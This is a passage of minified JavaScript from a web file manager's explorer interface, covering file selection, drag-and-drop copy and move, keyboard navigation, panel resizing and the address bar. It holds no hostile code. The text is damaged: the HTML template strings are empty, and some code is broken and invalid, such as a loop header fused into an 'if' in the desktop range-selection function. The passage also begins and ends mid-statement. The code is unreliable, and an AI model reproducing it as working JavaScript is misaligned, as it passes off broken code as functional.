a=trim($(this).text());i!=e.length-1?t.favRemove(a,"",!0):t.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&t.copy(v(!0))},cute:function(){n()&&t.cute(v(!0),ui.f5)},zip:function(e){t.zip(v(!0),m,e)},unZip:function(e){n()&&t.unZip(v().path,ui.f5,e)},cuteDrag:function(e){t.cuteDrag(v(!0),e,m)},copyDrag:function(e,i){t.copyDrag(v(!0),e,m,i)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){t.copyDrag(v(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){t.cuteDrag(v(!0),e,m)})},info:function(){t.info(v(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),t.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+v().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:t.clipboard}}),define("app/src/explorer/tpl/file_create.html",[],"
        \n {{if list_type=='list'}}{{/if}}\n
        \n \n {{if type=='folder'}}\n
        {{\"folder\" | core.icon}}
        \n {{else}}\n
        {{ext | core.icon}}
        \n {{/if}}\n
        \n {{if list_type=='icon'}}\n \n {{else}}\n \n {{/if}}\n
        \n
        \n
        \n
        \n
        \n"),define("app/src/explorer/fileLight",[],function(){var e=$(),t=$(),i=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),t=e,f("clear"),n()},a=function(){var t=$(Config.SelectClass);e=t,t.length>1&&c(t),f("menufile"),o(),h()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var t="",i=0,a=e;0!=a.length&&(t=a.length+LNG.folder_info_item_select,a.each(function(){i+=parseInt($(this).attr("data-size"))}),0!=i&&(t=t+" ("+core.fileSize(i)+")")),$(".file_select_info .item_select").html(t)},s=function(t){var i=e;if(void 0==t&&i&&i.length>=1&&(t=$(i[i.length-1])),void 0!=t&&!t.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=t.parent());var n=t.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(m(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),f()},d=function(e){var t={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var i in t)e.hasClass(i)&&e.addClass(t[i]);f()},p=function(){var t=[];if(0!=e.length)return e.each(function(){t.push(m($(this)))}),t},u=function(){if(0!=e.length){var t=e;t.removeClass(Config.SelectClassName),t.each(function(){d($(this))}),e=$(),f(),o(),h()}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled")):$(".drop-menu-action li").removeClass("disabled")},h=function(){var t=".close_item,.refresh,.newfile,.past,.info",i=".open_ie",a=".explorer,.createProject,.openProject",n=".close_item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more_action,.clone,.info,.zip,.zip_zip,.zip_tar,.zip_tgz",o=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.createLinkHome,.createLink,.createProject",s=$(".menuToolPath"),r="disabled";s.find(".context-menu-item").addClass(r),0==e.length?s.find(t).removeClass(r):1==e.length?(s.find(".context-menu-item").removeClass(r),"folder"==l(e)?s.find(i).addClass(r):s.find(a).addClass(r)):e.length>1&&s.find(n).removeClass(r),G.json_data&&G.json_data.info&&G.json_data.info.can_upload===!1&&s.find(o).filter(":not(."+r+")").addClass(r)},m=function(e,t){return void 0==t&&(t="data-path"),void 0!=e.attr("data-path-children")&&(t="data-path-children"),pathHashDecode(e.attr(t))};return{init:i,name:r,path:m,type:l,fileListSelect:function(t){return t&&(e=t),e},fileListAll:function(e){return e&&(t=e),t},select:a,setInView:s,setMenu:c,menuResetMore:h,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,t=!1,i=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){t&&a($(this)),e||t||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?i=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var t=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=t.index($(this));if(0==a.length)x(0,n,t);else{var o=t.index(a.first()),s=t.index(a.last());o>n?x(n,s,t):n>s?x(o,n,t):x(o,n,t)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),t&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),t?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&i&&(i=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var t=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(t),void 0}ui.path.open()}}),n(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){if(!$(this).hasClass("db_click_rename"))return!0;var t=$(this).parents(".file");return t.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(t){$(this).hasClass("menuTreeFolder")&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){i.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(t){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,i.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){t&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){t&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){t&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){t&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var t=ui.fileLight.path(e); +ui.path.history.add(t),ui.fileContent.pathChildrenSplit(t,function(){c(t)})}},l=function(){var e=".fileList_list_split .split_box",t="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(t),$(this).addClass(t)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(t)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var t=$(e.target).parents(".file");(0==t.length||0==t.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var t=$(".fileList_list_split .split_box"),i=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==i.length&&(i=t.last()),t.removeClass(n),i.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=i.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var i,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,u=10,f=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(t){if(!t.shiftKey){if(ui.isEdit())return!0;if(1!=t.which||e)return!0;i=$(this),d(i)&&(g(t),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){k(e),this.releaseCapture&&this.releaseCapture()}))}});var _,v,g=function(e){rightMenu.hidden(),t=!0,l=$.now(),f=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!t)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var i=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return i=0>=i?0:i,r=0>=r?0:r,i-=p,r-=u,s.css({left:i,top:r}),y(e),j(i-h+p,r-f+u),!0}},y=function(e){clearTimeout(_),_=!1,_=setTimeout(function(){try{x(e)}catch(t){}},10)},x=function(e){var t=e.ctrlKey||e.metaKey,i=function(e,t){G.sid!==void 0&&(e="none"),void 0!=t&&0!==t.search(G.KOD_GROUP_PATH)&&0!==t.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(t)&&(e="clear");var i=htmlEncode(core.pathThis(t)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:''+LNG.copy_to+'"'+i+'"',move_to:''+LNG.cute_to+'"'+i+'"',remove:''+LNG.remove+a+"",share:''+LNG.share+a+"",none:''+LNG.no_permission_write+"",clear:s.attr("data-beforeInfo")};t==G.this_path&&(n.copy_to=''+LNG.clone+""),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",t)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?i("remove"):t?i("copy_to",a):i("move_to",a)}else if(0!=$(".recycle_hover").length)i("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)i("share");else if(t){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),i("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?i("clear"):i("move_to",ui.fileLight.path($(".split_hover")))},k=function(){if(!t)return!1;if(t=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,t){switch(e){case"copy_to":ui.path.copyDrag(t,!0);break;case"move_to":ui.path.cuteDrag(t);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},i=s.attr("data-actionType");-1!=$.inArray(i,["copy_to","move_to","remove","share"])?E(!1):E(!0),e(i,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('
        '+e+'
        '+e+" "+LNG.file+"
        ").appendTo("body"),c=!0,setTimeout(S,20)},L=0,N=5,C=35,T=20,z=60,S=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},t=e[G.user_config.list_type];$("
        ").appendTo("body"),v=$(Config.SelectClass).filter("[data-path!='']");var i=v.clone();(v.length>=z||$.browser.msie)&&(i=r.clone()),i.appendTo(".file-draging"),i.each(function(e){var t=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=t.offset();$(this).css({left:a.left,top:a.top,width:t.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*N,"data-sizeAdd":L*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==i.length&&($(this).data({"data-animateTime":0}),T=0)}),v.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");i.each(function(){var t=$(this),i=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=t.offset(),s=e.offset(),r=(s.left+i-o.left)*n,l=(s.top+i+C-o.top)*n;t.css({left:o.left+r,top:o.top+l})},complete:function(){t.data("status","finished")}})})},T);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},j=function(e,t){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+t})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),t=$(".draggable-dragging").offset();$(this).css({left:t.left+e,top:t.top+e+C})}}),void 0)},E=function(e){var t=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(t){var i=t*N,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+i,function(){v.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+i,function(){$(this).remove()}))});var i=setTimeout(function(){$(".file-draging-box").remove()},400+N*t);$(".file-draging-box").data("removeDelay",i)}},u=function(){var i=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||t)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(t){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(t.target).parents(".split_box").scrollTop()),$(t.target).parent().hasClass(Config.FileBoxClassName)||$(t.target).parent().parent().hasClass(Config.FileBoxClassName)||$(t.target).hasClass("fix")||(rightMenu.hidden(),t.ctrlKey||t.metaKey||t.shiftKey||ui.fileLight.clear(),$(t.target).hasClass("ico")||(i=t.pageX-s,a=t.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('
        ').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},f=function(t){if(!e)return!0;var o=t.pageX-p.offset().left+p.scrollLeft(),s=t.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-i),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,i),top:Math.min(s,a),width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),t=n.offset().top-p.offset().top+p.scrollTop(),i=e+n.width(),a=t+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,f=d+l.width()),i-e+f-d>Math.abs(e+i-(d+f))&&a-t+h-u>Math.abs(t+a-(u+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,i=null,a=null,void 0):!1}},f=function(e,t){var i=$(".fileList_list_split .split_box.split_select");if(e)i=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();i=a.parents(".split_box")}return i.find(t)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():f(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():f(e,".file.select")}},m=function(e){var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getColfileNumberDesktop(),s=t.index(i.first()),r=t.index(i.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return t.eq(n)},_=function(e){if("desktop"==Config.pageApp)return m(e);var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=t.index(i.first()),l=t.index(i.last());switch(e){case"up":n=0>=r-o?0:r-o,n=v(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=v(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=v(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=v(n,!0);break;default:}return t.eq(n)},v=function(e,t){for(var i=h.fileListAll(),a=i.eq(e),n=i.length;0!=a.parents(".hidden").length;){if(t?e++:e--,0>=e||e>=n)return e;a=i.eq(e)}return e},g=function(e){var t,i=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),t=i.first();break;case"end":n=a.first(),t=i.last();break;case"left":n=a.last(),t=_(e);break;case"up":n=a.last(),t=_(e);break;case"right":n=a.first(),t=_(e);break;case"down":n=a.first(),t=_(e);break;case"pageup":n=a.last(),t=_(e);break;case"pagedown":n=a.first(),t=_(e);break;case"all":t=i;break;default:}if(!y(e)){if(o&&""!=n){var s=i.index(n),r=i.index(t);if(s>r){var l=s;s=r,r=l}return x(s,r,i),void 0}b(t)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var t=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==t.find(".children_more_cert.cert_open").length)t.find(".children_more_cert").removeClass("cert_open"),t.next().addClass("hidden");else{var i=t.parent(".children_list").prev(".file");b(i)}else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").prev().find(".select_split_parent");b(i)}break;case"right":if("list"==G.user_config.list_type)1==t.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(t),t.find(".children_more_cert").addClass("cert_open"),t.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").next().find(".file:eq(0)");b(i)}break;default:return!1}return!0},x=function(e,t,i){if("desktop"==Config.pageApp)return k(e,t,i);ui.fileLight.clear();for(var a=e;t>=a;a++)$(i[a]).addClass(Config.SelectClassName);ui.fileLight.select()},k=function(e,t,i){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},t={row:t%a,col:parseInt(t/a)};if(t.row=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==t.row&&(c=t.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),u()},isDraging:function(){return t},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},t={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},i=e,a=function(){if(LocalData.get("resize_config"))i=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(i=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(i);LocalData.set("resize_config",a)}$.each(e,function(a){(!i[a]||i[a]=i&&(i=t[e]),n+=i,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+i+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},i);l[r]+=a,l[r]<=t[r]&&(l[r]=t[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(i=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},i);r[e]+=a,o(r),s&&(i=r,$.each(i,function(e,a){t[e]>=a&&(i[e]=t[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(i),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(t){l(e,t,!1)},end:function(t){l(e,t,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(t){s(t,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var t=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],i=10,a="",n=0;t.length>n;n++){var o=parseInt(t[n][0]);if(e>=o-i&&o+i>=e){a=t[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,t){var i=e,a=105,n=30,o=250;"desktop"==Config.pageApp&&(n=50,o=120),i=n>=i?n:i,i=i>=o?o:i;var s=(e-n)*a/(o-n),r=20,l=10,c=parseInt(i),d=c+2*r-l+5,p=c-l,u=c-l,h=.4*c,m=c+3*r-l,_=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,_="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(u-=4);var v="div.fileList_icon div.file{max-height:"+m+"px;}"+_+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+u+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(v,"file_icon_resize"),$(".slider_handle").css("top",s),t&&f(e)},m=function(){var e,t=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var i=function(t){var i=0,a=105,n=30,o=250,s=e+t;s=i>s?i:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};t.drag({start:function(){t.addClass("active"),e=parseInt(t.css("top"))},move:function(e,t){i(t)},end:function(e,a){t.removeClass("active"),f(i(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(t){var n=t.clientY-a.offset().top;e=0,i(n)})},_=function(){var e=function(e,t){var i=e.parent(),a=$(".split_box").index(i),n=parseInt(i.data("before_width"))+t;if(!(150>n)){$($(".split_line").get(a)).css("width",n),i.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+t+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,t){var i=t.parent();i.addClass("is_drag_split").data("before_width",i.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(t,i,a,n){e(n,t)},end:function(e,t,i,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),v()},v=function(){var e=jsonDecode(LocalData.get("split_box_size")),t=0;e||(e=[]);var i=function(i,a){var n=e[a];n||(n={width:250,left:t}),t+=n.width+1,i.css({width:n.width+"px",left:n.left})};t=0,$(".split_box").each(function(e){i($(this),e)}),t=0,$(".split_line").each(function(e){i($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(i=e),o(i),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:_,bindHeaderResize:c,setFileIconSize:h}}),define("app/src/explorer/headerAddress",[],function(){var e=function(){$("#yarnball li a").die("click").live("click",function(e){var t=$(this).attr("data-path");n(t),stopPP(e)}),$("#yarnball").die("click").live("click",function(){return $("#yarnball").css("display","none"),$("#yarnball_input").css("display","block"),$("#yarnball_input input").focus(),!0});var e=$("#yarnball_input input");e.die("blur").live("blur",function(){n(e.val())}).keyEnter(function(){n(e.val())}),$(".header-right input").keyEnter(function(){core.search($(".header-right input").val(),G.this_path)}),$(".header-right input").bind("keyup focus",function(){ui.path.setSearchByStr($(this).val())}),$(".header-content a,.header-content button").click(function(){var e=$(this).attr("id");switch(e){case"history_back":ui.path.history.back();break;case"history_next":ui.path.history.next();break;case"refresh":ui.f5(!0,!0),ui.tree.init();break;case"home":ui.path.list(G.myhome);break;case"fav":ui.path.pathOperate.fav({path:G.this_path,type:"folder",name:$("ul.yarnball li:last .title_name").html()});break;case"goto_father":o();break;case"setting":core.setting();break;case"search":core.search($(".header-right input").val(),G.this_path);break;default:}return!0})},t=function(e){var t=G.this_path;a(G.this_path),$("#yarnball_input").css("display","none"),$("#yarnball").css("display","block");var n=function(e){var t='
      • {$3}
      • \n',i='
      • {$3}
